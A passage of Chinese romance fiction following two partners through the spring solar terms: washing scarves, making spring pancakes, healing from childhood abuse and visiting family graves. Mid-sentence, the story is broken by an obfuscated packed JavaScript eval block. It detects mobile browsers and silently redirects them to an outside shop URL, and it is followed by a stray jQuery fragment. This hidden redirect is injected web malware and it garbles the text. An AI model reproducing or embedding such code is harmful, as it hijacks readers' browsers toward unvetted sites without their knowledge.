立春那天，苌斓把衣柜里压了一整个冬天的薄围巾翻了出来。两条灰色围巾挂在衣架上太久，沾了淡淡的樟脑味，他把它们泡在温水里，倒了一点柔顺剂，用手轻轻揉搓。水慢慢变成了极淡的灰色，像冬天最后一场雪化在泥土里的颜色。忘海从书房出来倒水，看见他蹲在卫生间里洗围巾，袖子卷到手肘，手腕上还沾着泡沫，就走过去帮他把袖子又往上卷了一圈，说水太凉了。苌斓说立春了，不凉。他把围巾拧干抖开，边缘那块暗红色的痕迹还在，是很久以前在天台上摔伤时流的血，洗过无数遍还是有一点淡淡的影子。他把两条围巾并排挂在阳台上，被风吹得轻轻晃动，然后走进厨房，把面粉从柜子里拿出来——今天是立春，晚上要吃春饼。
鸡蛋、豆芽、韭菜、粉丝一样一样摆在料理台上，动作很熟练，和冬至包饺子时一模一样。忘海靠在厨房门框上看他，想起很久以前在天台上堆雪人，苌斓堆的那个歪歪扭扭，精致那个是他堆的，两个雪人靠在一起。后来雪化了，雪人没了，但围巾还在。春天来了，围巾洗好了，雪人会变成雨水渗进土里，等来年再落在他们肩头。
傍晚春饼端上桌，饼皮烙得薄薄的，透光能看到里面的豆芽和韭菜。苌斓把甜面酱抹匀，放上炒好的合菜，卷成一个紧实的卷递给忘海。忘海咬了一口——韭菜很嫩，豆芽脆生生的，和以前养母做的春饼一模一样，只是酱放多了，有点咸。苌斓说明年少放半勺，忘海说好，明年我卷。说完伸手把他嘴角沾的酱擦掉，苌斓愣了一下，然后低头继续卷自己的那卷，耳根微微泛红。
吃完饭两人窝在沙发上，电视里放着新闻，声音开得很小。阳台上的围巾被晚风吹得轻轻晃动，茶几上紫砂杯安静地立在杯垫上，保温杯还是两个并排放在一起。苌斓说今晚去公园散步，忘海说好。公园里的梧桐树还没发芽，光秃秃的枝丫直直伸向深蓝色的夜空，但路边的小草已经冒出了嫩绿的尖。他们并肩走到湖边在长椅上坐下来，湖面上还结着一层薄冰，冰面下能听到细微的流水声，像春天在敲一扇半开半掩的门。
苌斓看着湖面上的薄冰，忽然开口：“你记不记得有一年立春下了很大的雪。你跟我说春天也会下雪，我当时不信。后来真的下了，很大。你说你活了那么多世什么都知道，我说那你知不知道我什么时候会不害怕春天。”他的声音很轻，像是在问湖面上的薄冰，又像是在问很多年前那个蜷在角落里挨打的小孩。
“现在知道了。”忘海侧头看着他，声音和每次在路口说“红枣茶，八颗”时一样平稳，“你洗围巾的时候，卷春饼的时候，晚上在沙发上靠着我睡着的时候——春天来了，你不再害怕了。”
苌斓没有说话，只是把手从口袋里抽出来放在长椅上，掌心朝上。忘海把自己的手覆上去，十指交扣。湖面上的薄冰裂开一道细缝，月光照在缝上泛着银色的光。回到家，苌斓把阳台上晾干的围巾收进来叠好放进衣柜，然后走到书桌前拉开抽屉，拿出那张拼好的购物小票。红糖、红枣、桂圆、枸杞，母亲用指甲一道一道画出的痕迹被透明胶带封得严严实实，像一片保存在琥珀里的叶子。他看了一会儿把它放回去，又拿出针线盒里那团灰色毛线，坐下来开始绕。毛线还剩一小半，他一边绕一边想，明年立春要织两条薄的——一条给自己，一条给忘海，颜色还是灰色，但毛线要换细一点的，春天围厚围巾太热了。
忘海端着两杯温水走过来放在茶几上，在他旁边坐下。他看着苌斓绕毛线的侧脸，忽然想起冬至那天傍晚苌斓站在厨房里，围裙系得端端正正，阳光落在他沾着面粉的手指上。他当时说“你好像在发光”，现在苌斓坐在台灯下绕毛线，手指还是沾过面粉、切过菜、洗过围巾的那双手，他觉得那句话没有说错——这个人确实在发光。不是刺眼的光，是温温的、柔和的、像保温杯里红枣茶冒出的热气一样的光。从冬至到立春，从包饺子到卷春饼，从洗围巾到绕毛线，每一个寻常的日子里他都在发光。
过了几天，雨水来了。那天飘着细密的毛毛雨，苌斓从书店下班回来，刘海被雨打得贴在额头上。他换了拖鞋走进客厅，发现忘海已经把饭菜摆好了——简单的小炒和一碗热汤。忘海接过他肩上被雨淋湿的外套挂在衣架上，又转身去卫生间拿了条干毛巾，盖在他头上轻轻擦。苌斓乖乖站着让他擦，毛巾盖住了大半张脸，只露出一双眼睛。他说你怎么比我妈还啰嗦，忘海说那也是跟你妈学的，然后把毛巾拿下来挂好，把他按在餐桌前坐下，说汤趁热喝，姜丝放了很多。
苌斓端起碗喝了一口，姜的辛辣从喉咙一直暖到胃里。他想起很多年前养母把他锁在门外，冬天的雨比今天的雨冷得多，他缩在楼道角落里用指甲抠门板，那时候没有人给他递毛巾，也没有人给他煮姜汤。现在有人在雨天给他擦头发，有人记得他怕辣但还是会在汤里多放姜丝，有人在每一个寻常的日子里让他知道——他不是一个人。他把碗放下，抬头看着忘海。忘海正低头吃饭，察觉到他的目光抬起头来，问他怎么了。他说没什么，就是觉得姜放少了，明天再多放点。
惊蛰那天，他们去公园散步。梧桐树开始发芽了，嫩绿的叶苞从光秃秃的枝丫上冒出来，一小撮一小撮，像无数只刚睁开眼睛的小手。路边有小孩在放风筝，一只蝴蝶形状的风筝歪歪扭扭地飞着，小孩跑得太快摔了一跤，风筝线脱手，蝴蝶摇摇晃晃地往湖那边飘去。苌斓看着那个小孩爬起来拍拍膝盖上的草屑，继续追那只断了线的风筝。他说我以前也放过风筝，养父给我买过一只，后来被他喝醉酒踩烂了，他说小孩子玩这些东西没出息。后来我就再也没放过。忘海沉默了一会儿，说下周还来，我给你买个新的风筝。苌斓侧头看他，说你买，你敢放吗。忘海说敢。苌斓说你活了那么多世，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724413|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有没有放过风筝。忘海想了想说没有，每一世都很忙——忙着找你，忙着陪你，忙着等你。这一世终于有空了。苌斓没有说话，只是在长椅上把手伸过去，握住了忘海的手。
过了几天，春分。白天和黑夜一样长，苌斓在天没亮时就醒了，他侧躺着看忘海的睡脸——呼吸平稳，眉头舒展，没有做噩梦。他想起去年冬天忘海每晚只能睡两个小时就会惊醒，现在他能一觉睡到天亮。他轻轻把忘海额前的碎发拨开，忘海没有醒，只是往他手心里蹭了蹭。他低声说今天是春分，忘海含含糊糊地应了一句再睡五分钟。他说好，再睡五分钟。然后继续看着他的睫毛在晨光里轻轻颤动，想起很久以前在病房里醒来时第一眼看到的也是这样的睫毛。
后来是清明。他们去墓地扫墓，苌斓带了四个橘子、一碟红枣糕、一碗排骨汤，东西摆得整整齐齐。他蹲在墓碑前把香点燃，青烟细细地升起来，在无风的空气里拉出一道笔直的线。他说爸，妈，叔叔，阿姨，我们过得很好。今年立春吃了春饼，惊蛰去看了风筝，春分那天我磨了豆浆，忘海说比冬至那天磨得更好喝。围巾洗干净收起来了，等秋天再拿出来。我今年织了两条薄的，一条给自己一条给忘海，针脚比以前整齐了，收尾还是会织错两针。忘海在旁边蹲下来也点了三炷香，说你们不用担心我们。苌斓现在每天吃得饱、睡得香，就是春饼的酱每次都放多。但没事，我帮他擦嘴角。妈，你以前说好人不是好欺负的，只是还没学会跟坏人吵架。我现在学会了——不是吵架，是好好活着。好好活着就是对那些坏人最好的回答。
过了几天，谷雨。春天的最后一个节气，下了一场不大不小的雨。苌斓站在阳台上伸手接雨水，手掌摊开，雨滴落在掌心里溅起细密的水花。忘海在客厅里画图，笔记本电脑屏幕上光标一闪一闪，他抬头看苌斓的背影——穿了一件浅灰色的薄毛衣，袖子卷到手肘，头发用皮筋松松地扎着，几缕碎发垂在耳边。这个人越来越像春天了。不是那种突然绽放的热烈，是那种一点一点化开的温柔——从冬至的饺子到立春的春饼，从洗围巾的泡沫到绕毛线的指尖，从“酱放多了”到“明年少放半勺”，从失眠到安睡，从噩梦到醒来时第一眼看到的是彼此的睫毛。
苌斓从阳台走进来，手上还沾着雨水。他走到忘海面前，把凉丝丝的手指贴在他额头上。忘海没有躲，只是把他的手从额头上拿下来握在掌心里，说谷雨过了就是立夏，天会越来越热，薄围巾织好了没有。苌斓说织好了，在衣柜里挂着，两条灰色，一条你的，一条我的。忘海低下头，把苌斓的手指一根一根轻轻按过去，指腹上沾着雨水和刚刚摸过梧桐树新叶的草木清香。他们的日子就这么一天一天过，转眼间梧桐树的叶子已经绿了满枝。立夏那天苌斓煮了茶叶蛋，小满那天他们去郊区看了麦田，芒种那天苌斓在阳台上种了一盆薄荷，说夏天泡茶用。